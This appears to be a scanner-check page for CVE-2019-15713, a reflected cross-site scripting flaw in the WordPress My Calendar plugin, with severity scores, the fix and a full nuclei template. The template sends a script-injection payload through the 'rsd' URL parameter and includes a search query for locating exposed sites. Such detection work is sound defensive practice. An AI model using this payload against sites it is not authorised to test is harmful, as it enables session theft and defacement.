WordPress My Calendar <= 3.1.9 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.2%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

WordPress plugin My Calendar <= 3.1.9 is susceptible to reflected cross-site scripting which can be triggered via unescaped usage of URL parameters in multiple locations throughout the site.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.

Fix

Update to the latest version of the My Calendar plugin (>= 3.1.10) or apply the vendor-provided patch to fix the XSS vulnerability.

How to confirm it

Send: GET /wp-content/plugins/my-calendar/readme.txt
Positive when: contains "My Calendar" and "Tags:"
Send: GET {{BaseURL}}/?rsd=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2019-15713 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-15713

info:
  name: WordPress My Calendar <= 3.1.9 - Cross-Site Scripting
  author: daffainfo,dhiyaneshDk
  severity: medium
  description: WordPress plugin My Calendar <= 3.1.9 is susceptible to reflected cross-site scripting which can be triggered via unescaped usage of URL parameters in multiple locations throughout the site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the My Calendar plugin (>= 3.1.10) or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/9267
    - https://wordpress.org/plugins/my-calendar/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15713
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-15713
    cwe-id: CWE-79
    epss-score: 0.02182
    epss-percentile: 0.82522
    cpe: cpe:2.3:a:my_calendar_project:my_calendar:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "my_calendar_project"
    product: "my_calendar"
    framework: wordpress
    fofa-query: "\"wordpress\" && body=\"wp-content/plugins/my-calendar\""
  tags: cve,cve2019,wordpress,xss,wp-plugin,wpscan,my_calendar_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/my-calendar/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'My Calendar'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/?rsd=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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